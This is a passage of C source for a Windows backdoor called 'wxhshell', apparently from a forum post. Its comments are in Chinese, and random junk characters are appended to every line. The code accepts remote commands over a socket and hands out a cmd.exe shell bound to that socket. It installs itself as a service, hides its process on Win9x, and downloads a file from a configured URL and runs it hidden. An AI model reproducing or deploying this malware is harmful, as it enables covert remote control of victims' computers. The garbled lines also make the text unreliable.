  Ve|:k5z  
  // 帮助 GnW MI1$  
  case '?': { ;j/$%lC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $Y6\m`  
    break; /Yp#`}Ii  
  } uO LShNo  
  // 安装 <C&|8@A0  
  case 'i': { N4C7I1ihq  
    if(Install()) =n"kgn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a24 AmoWx  
    else bg-/ 8,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iBAP,cR?`  
    break; 2=Naq Ht(  
    } ) yMrE T m  
  // 卸载 : gU5CUm  
  case 'r': { ap}p?r  
    if(Uninstall()) nS%jnp#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uB.kkkGZ M  
    else zq{UkoME  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kJ FWk  
    break; /9G72AD!  
    } N7J?S~x  
  // 显示 wxhshell 所在路径 )xyjQ|b  
  case 'p': { xt5/`C  
    char svExeFile[MAX_PATH]; 5\bGCf  
    strcpy(svExeFile,"\n\r"); R\3a Sx L  
      strcat(svExeFile,ExeFile); }psRgF  
        send(wsh,svExeFile,strlen(svExeFile),0); e9KD mX_  
    break; s/IsrcfM  
    } $!.>)n  
  // 重启 '^_u5Y]  
  case 'b': { F =e9o*z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1]2]l*&3  
    if(Boot(REBOOT)) _=s9o/Cn]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Y/i h(I^  
    else { O+=%Mz(l  
    closesocket(wsh); 4kM/`g6?,q  
    ExitThread(0); U*$P"sS`  
    } xrg?{*\  
    break; Y)X7*iTi'j  
    } E@ U]k$M  
  // 关机 B{j><u xl  
  case 'd': { X"r)zCP+t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EYq?NL='  
    if(Boot(SHUTDOWN)) [UzD3VPg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <@-O 06  
    else { 8O,\8:I#  
    closesocket(wsh); Yao}Xo9}  
    ExitThread(0); f?sm~PwC-  
    } R}Lk$#S#  
    break; >J:=)1`  
    } 4Lt9Dx1  
  // 获取shell /=/Ki%hh  
  case 's': { )FQ"l{P  
    CmdShell(wsh); @=VxW U  
    closesocket(wsh); LOx+?4|y  
    ExitThread(0); f"5O'QHGQK  
    break; mgjJNzclL  
  } b]4dmc*N+  
  // 退出 MJ)lZ!KZ  
  case 'x': { W%g*sc*+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I1E9E$m5\<  
    CloseIt(wsh); .Az36wD  
    break; ljNwt  
    } 2@zduL'do_  
  // 离开 D9oNYF-V  
  case 'q': { R#d~a;j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |qUGB.Q  
    closesocket(wsh); !'jq.RawP  
    WSACleanup(); ^U_T<x8{  
    exit(1); !,[#,oy;  
    break; yXR1 NYg  
        } '9V/w[mI  
  } Q4"\k. ?  
  } n(F!t,S1i  
r.H`3m.0q  
  // 提示信息 P9cx&Hk9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2^WJ1: A  
} d+JK")$9C  
  } l'+3 6  
'c s(gc 0  
  return; j?.F-ar  
} E JkHPn  
QO'Hyf t  
// shell模块句柄 :X;G]B .  
int CmdShell(SOCKET sock) 4qOzjEQ  
{ !wy _3a  
STARTUPINFO si; i<Vc~ !pT  
ZeroMemory(&si,sizeof(si)); n N<N~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t/i I!}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b&z#ZY  
PROCESS_INFORMATION ProcessInfo; lYx_8x2  
char cmdline[]="cmd"; Zo3!Hs ZA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a$My6Qa#  
  return 0; bBjr hi  
} A>@#eyB  
]ZY2\'  
// 自身启动模式 9jkz83/+<  
int StartFromService(void) %v0M~J}+  
{ ;28d7e}  
typedef struct *r`=hNr  
{ v/`D0g-uX)  
  DWORD ExitStatus; A5XMA|2_  
  DWORD PebBaseAddress; (0$~T}lH  
  DWORD AffinityMask; }\"EI<$s  
  DWORD BasePriority; n1f8jS+'}  
  ULONG UniqueProcessId; ]" 'yf;g  
  ULONG InheritedFromUniqueProcessId; @Po5AK3cy  
}   PROCESS_BASIC_INFORMATION;  q#K{~:  
-N45ni87  
PROCNTQSIP NtQueryInformationProcess; w+br)  
gmL~n7m:K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E`IXBI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Vm[Rp, "  
.a*?Pal@@  
  HANDLE             hProcess; N"S`9B1eD(  
  PROCESS_BASIC_INFORMATION pbi; pi"H?EHk  
,-pE/3|(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uBm"Xkxe|w  
  if(NULL == hInst ) return 0; f@OH~4FG  
o7) y~ ke  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )(}[S:`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D p'urf\*$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uC'-: t#  
Ln& pe(c  
  if (!NtQueryInformationProcess) return 0; D#g -mqar:  
E'QAsU8pP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -+".ut:R  
  if(!hProcess) return 0; 0]DOiA  
8?yIixhw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .hT>a<  
`a83RX_\  
  CloseHandle(hProcess); n2U &}O  
%F*9D3^h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1b5Z^a<u  
if(hProcess==NULL) return 0; &tyS6S+  
3<xE_ \DR  
HMODULE hMod; BhJ>G%  
char procName[255]; B"^j>SF  
unsigned long cbNeeded; p _gN}v  
_{*} )&!M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  0,Ds1y^  
b fxE}>  
  CloseHandle(hProcess); 5nG\J g7  
/JD}b[J$  
if(strstr(procName,"services")) return 1; // 以服务启动 wLV,E,gM  
ng1E'c]0@  
  return 0; // 注册表启动 F @PPhzZ  
} iQG!-.aX  
tr0b#4  
// 主模块 H,7='n7"  
int StartWxhshell(LPSTR lpCmdLine) %BI8m|6  
{ P3oYk_oW  
  SOCKET wsl; &[ })FI  
BOOL val=TRUE; S:xXD^n#H  
  int port=0; c1H.v^Y5  
  struct sockaddr_in door; q\fbrv%I4  
]iV ]7g8:  
  if(wscfg.ws_autoins) Install(); < 5zR-UA>  
oC&}lp)q  
port=atoi(lpCmdLine); omfX2Oa2  
A*h8 o9M  
if(port<=0) port=wscfg.ws_port; >.?yz   
r_7%|T8  
  WSADATA data; vXJs.)D7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !wYN",R-  
?JuJu1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CsR[@&n'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mF6-f#t>H+  
  door.sin_family = AF_INET; 6uRE9h|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xdSMYH{2A  
  door.sin_port = htons(port); z g7Q`  
YD4I2'E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $Itmm/M  
closesocket(wsl); "*lx9bvV_  
return 1; ZU\$x<,  
} JsY,Q,D q  
Ws2q/[\oz  
  if(listen(wsl,2) == INVALID_SOCKET) { !r/i<~'Bx  
closesocket(wsl); %NLd"SV  
return 1; bb_elmb)n  
} }?m0bM  
  Wxhshell(wsl); rZI63S  
  WSACleanup(); g@H<Q('fJ  
Xu{y5 N  
return 0; X9*n[ev  
OTy!Q,0$.  
} zw<<st Bp  
uP9b^LEoN  
// 以NT服务方式启动 2CC"Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h,[L6-n  
{ z%}"=  
DWORD   status = 0; |!oC7!+0^  
  DWORD   specificError = 0xfffffff; `I7s|9-=  
a~KtH;7<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IADSWzQ@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B>u`%Ry&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8:Hh;nl  
  serviceStatus.dwWin32ExitCode     = 0; 5OdsT-y  
  serviceStatus.dwServiceSpecificExitCode = 0; i4YskhT  
  serviceStatus.dwCheckPoint       = 0; h7]+#U]mi  
  serviceStatus.dwWaitHint       = 0; }s2CND  
:(q4y-o6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W6?=9].gc  
  if (hServiceStatusHandle==0) return; J.iz%8  
N XB8u6  
status = GetLastError(); 4~ x>]  
  if (status!=NO_ERROR) BA a:!p  
{ ,ei9 ?9J1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6*,55,y  
    serviceStatus.dwCheckPoint       = 0; UP#@gxF  
    serviceStatus.dwWaitHint       = 0; *zRig|k!H  
    serviceStatus.dwWin32ExitCode     = status; shw?_#?1dy  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^!tX+`,6^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9Qyc!s`  
    return; N[@~q~v  
  } *)[fGxz \  
Od.@G~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +}jzge"  
  serviceStatus.dwCheckPoint       = 0; / `cy4<  
  serviceStatus.dwWaitHint       = 0; DN^+"_:TB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =p|IWn{P  
} 3[#^$_96b  
:[a*I6/^  
// 处理NT服务事件,比如:启动、停止 cc${[yj)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \d:Q%S  
{ .#y#u={{l  
switch(fdwControl) C b'|  
{ 1F.._5_"]  
case SERVICE_CONTROL_STOP: 05F/&+V  
  serviceStatus.dwWin32ExitCode = 0; xWLZlUHEu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  W2` 3 p  
  serviceStatus.dwCheckPoint   = 0; B1X&O d  
  serviceStatus.dwWaitHint     = 0; ]MCH]/  
  { U<Oc&S{]*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vg62HZ |  
  } zd_N' :6  
  return; E+y_te^+b  
case SERVICE_CONTROL_PAUSE: p;4FZ$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |X{j^JP 5  
  break; "OwM' n8  
case SERVICE_CONTROL_CONTINUE: :U\* 4l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |kmP#`P~  
  break; P)VQAM  
case SERVICE_CONTROL_INTERROGATE: 2Ys=/mh  
  break; pg5W`4-F  
}; jJ"(O-<)D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o2|#_tGNUy  
} nZiwR4kM  
T6y~iNd<  
// 标准应用程序主函数 kRggVRM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *L?~  
{ KyIUz9$  
4UbqYl3 |a  
// 获取操作系统版本 aVr(*s;/  
OsIsNt=GetOsVer(); gwNZ`_Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >~d'i  
b!t[PShw^  
  // 从命令行安装 #2|biTJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); P}'B~ ~9W  
uznqq}  
  // 下载执行文件 )h ,v(Rxa  
if(wscfg.ws_downexe) { OGEe8Z9Jt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <uU<qO;6  
  WinExec(wscfg.ws_filenam,SW_HIDE); @n qM#  
} O<fy^[r:`  
]9_tto!/  
if(!OsIsNt) { 1.%|Er 4  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]U@~vA#''  
HideProc(); j hRr!  
StartWxhshell(lpCmdLine); KrP?*yk  
} "T[BSj?E  
else #^9bBF/  
  if(StartFromService()) NJJ=ch  
  // 以服务方式启动 %,$xmoj9O]  
  StartServiceCtrlDispatcher(DispatchTable); m|JA }&A  
else @GXKqi  
  // 普通方式启动 4SUzR\  
  StartWxhshell(lpCmdLine); t=eI*M+>h  
UZsvYy?  
return 0; }r18Y6  
}
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只看该作者 1 发表于: 2006-10-10
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